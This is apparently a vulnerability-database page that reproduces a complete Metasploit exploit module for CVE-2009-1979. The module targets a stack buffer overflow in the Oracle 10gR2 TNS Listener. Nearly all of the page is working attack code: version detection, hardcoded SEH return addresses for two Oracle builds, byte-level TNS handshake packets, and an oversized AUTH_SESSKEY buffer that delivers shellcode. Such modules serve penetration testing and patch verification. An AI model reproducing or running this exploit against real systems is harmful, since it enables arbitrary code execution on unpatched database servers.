Lucene search
K

Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow

🗓️ 21 Jan 2010 00:05:18Reported by jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 23 Views

Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflo

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::TNS
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle 10gR2 TNS Listener AUTH_SESSKEY Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Oracle. When
        sending a specially crafted packet containing a long AUTH_SESSKEY value
        to the TNS service, an attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-1979'],
          [ 'OSVDB', '59110'],
          [ 'BID', '36747'],
          [ 'URL', 'http://blogs.conus.info/node/28' ],
          [ 'URL', 'http://blogs.conus.info/node/35' ],
          [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2009.html' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 0x17e,
          'BadChars' => "", # none, thx memcpy!
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],

          [ 'Oracle 10.2.0.1.0 Enterprise Edition',
            {
              # Untested
              'Ret' => 0x011b0528 # p/p/r in oracle.exe v10.2.0.3
            }
          ],
          [ 'Oracle 10.2.0.4.0 Enterprise Edition',
            {
              # Tested OK - 2010-Jan-20 - jduck
              'Ret' => 0x01347468 # p/p/r in oracle.exe v10.2.0.3
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2009-10-20'))

    register_options(
      [
        OptString.new('SID', [ true, 'The target database SID', 'ORCL']),
        Opt::RPORT(1521)
      ])
  end


  def check
    version = tns_version
    if (not version)
      vprint_error("Unable to detect the Oracle version!")
      return Exploit::CheckCode::Unknown
    end
    vprint_status("Oracle version reply: " + version)
    return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
    return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
    return Exploit::CheckCode::Safe
  end


  def exploit

    mytarget = nil
    if target.name =~ /Automatic/
      print_status("Attempting automatic target detection...")

      version = tns_version
      if (not version)
        fail_with(Failure::NoTarget, "Unable to detect the Oracle version!")
      end

      if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/)
        mytarget = targets[1]
      elsif (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/)
        mytarget = targets[2]
      end

      if (not mytarget)
        fail_with(Failure::NoTarget, "Unable to automatically detect the target")
      end

      print_status("Automatically detected target \"#{mytarget.name}\"")
    else
      mytarget = target

      print_status("Attacking using target \"#{mytarget.name}\"")
    end


    username = rand_text_alphanumeric(0x1c)

    connect

    print_status("Sending NSPTCN packet ...")
    connect_data = "" +
      "(DESCRIPTION=" +
        "(CONNECT_DATA=" +
          "(SERVICE_NAME=#{datastore['SID']})" +
          "(CID=" +
            "(PROGRAM=client.exe)" +
            "(HOST=client_host)" +
          ")" +
        ")" +
        "(ADDRESS=" +
          "(PROTOCOL=TCP)" +
          "(PORT=1521)" +
        ")" +
      ")"
    nsptcn_pkt = tns_packet(connect_data)
    sock.put(nsptcn_pkt)

    # read NSPTRS (expecting 8 bytes)
    res = sock.get_once(-1, 1)
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    print_status("Re-sending NSPTCN packet ...")
    sock.put(nsptcn_pkt)

    # read NSPTAC (expecting 32 bytes)
    begin
      res = sock.get_once(-1, 1)
    rescue ::Errno::ECONNRESET, EOFError
      fail_with(Failure::Unknown, "OOPS, maybe the service hasn't started completely yet, try again...")
    end
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    # send NA
    print_status("Sending NA packet ...")
    na_stuff = [0xdeadbeef].pack('N') +
      "\x00\x92" +
      "\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" +
      "\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x0A\xF8\x71" +
      "\xC2\x6C\xE1\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" +
      "\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" +
      "\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" +
      "\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
      "\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" +
      "\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" +
      "\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01"
    na_pkt = nsptda_packet(na_stuff)
    sock.put(na_pkt)

    # read response (expecting 127 bytes)
    res = sock.get_once(-1, 1)
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    # send TTIPRO
    print_status("Sending TTIPRO packet ...")
    ttipro_stuff = "\x01\x06\x05\x04\x03\x02\x01\x00" +
      "IBMPC/WIN_NT-8.1.0" +
      "\x00"
    ttipro_pkt = nsptda_packet(ttipro_stuff)
    sock.put(ttipro_pkt)

    # read response (expecting 179 bytes)
    res = sock.get_once(-1, 1)
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    # send TTIDTY
    print_status("Sending TTIDTY packet ...")
    ttidty_stuff = "\x02\xB2\x00\xB2\x00\xD2" +
      "\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" +
      "\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" +
      "\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" +
      "\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07"
    ttidty_pkt = nsptda_packet(ttidty_stuff)
    sock.put(ttidty_pkt)

    # read response (expecting 22 bytes)
    res = sock.get_once(-1, 1)
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    # send first auth pkt (call OSESSKEY)
    print_status("Calling OSESSKEY ...")
    params = []
    dtyauth_pkt = dtyauth_packet(0x76, username, 1, params)
    sock.put(dtyauth_pkt)

    # read RPA (expecting 225 bytes)
    res = sock.get_once(-1, 1)
    #print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))

    # build exploit buffer
    print_status("Calling kpoauth with long AUTH_SESSKEY ...")
    sploit = payload.encoded
    sploit << rand_text_alphanumeric(0x19a - 0x17e)
    sploit << generate_seh_record(mytarget.ret)
    distance = payload_space + 8 + 5
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

    # ensure bad ptr is derefed
    value = rand(0x3fffffff) | 0xc0000000
    sploit[0x17e,4] = [value].pack('V')

    # send overflow trigger packet (call kpoauth)
    params = []
    params << {
      'Name'   => 'AUTH_SESSKEY',
      'Value'  => sploit,
      'Flag'   => 1
    }
    dtyauth_pkt = dtyauth_packet(0x73, username, 0x121, params)
    sock.put(dtyauth_pkt)

    # expecting disconnect...
    if (res = sock.get_once(-1, 1))
      print_status(("received %u bytes:\n" % res.length) + Rex::Text.to_hex_dump(res))
      fail_with(Failure::NoTarget, "Try to run the exploit again.. If that doesn't work, the target host may be patched :-/")
    end

    handler
    disconnect
  end


  def tns_version
    connect
    version = "(CONNECT_DATA=(COMMAND=VERSION))"
    pkt = tns_packet(version)
    sock.put(pkt)
    sock.get_once
    res = sock.get_once(-1, 1)
    disconnect
    return res
  rescue EOFError
    return nil
  end


  def nsptda_packet(data)
    pkt = [data.length + 10].pack('n')    # NSPHDLEN
    pkt << [0].pack('n')                  # NSPHDPSM
    pkt << [6].pack('C')                  # pkt type
    pkt << [0].pack('C')                  # reserved
    pkt << [0].pack('n')                  # NSPHDHSM
    pkt << [0].pack('n')                  # NSPDAFLG
    pkt << data
    return pkt
  end


  def dtyauth_packet(opi, user, flag, params)
    dunno = 2
    dunno = 3 if opi == 0x73

    pkt = [3, opi, dunno].pack('CCC')

    pkt << [-2].pack('V')
    pkt << [user.length].pack('V')
    pkt << [flag].pack('V')

    pkt << [-2].pack('V')
    pkt << [params.length].pack('V')
    pkt << [-2].pack('V')
    pkt << [-2].pack('V')

    pkt << [user.length].pack('C')
    pkt << user

    params.each { |param|
      name = param['Name']
      pkt << [name.length].pack('V')
      pkt << [name.length].pack('C')
      pkt << name

      val = param['Value']
      pkt << [val.length].pack('V')
      if (val.length > 0)
        if (val.length > 0xff)
          pkt << chunkify(val)
        else
          pkt << [val.length].pack('C')
          pkt << val
        end
      end

      flag = param['Flag']
      pkt << [flag].pack('V')
    }
    return nsptda_packet(pkt)
  end


  def chunkify(buf)
    ret = ""
    if buf.length > 0xff
      ret << "\xfe"

      while (buf.length > 0xff)
        ret << "\xff"
        ret << buf.slice!(0, 0xff)
      end
      if buf.length > 0
        ret << [buf.length].pack('C')
        ret << buf
      end

      ret << "\x00"
    else
      ret << [buf.length].pack('C')
      ret << buf
    end
    return ret
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation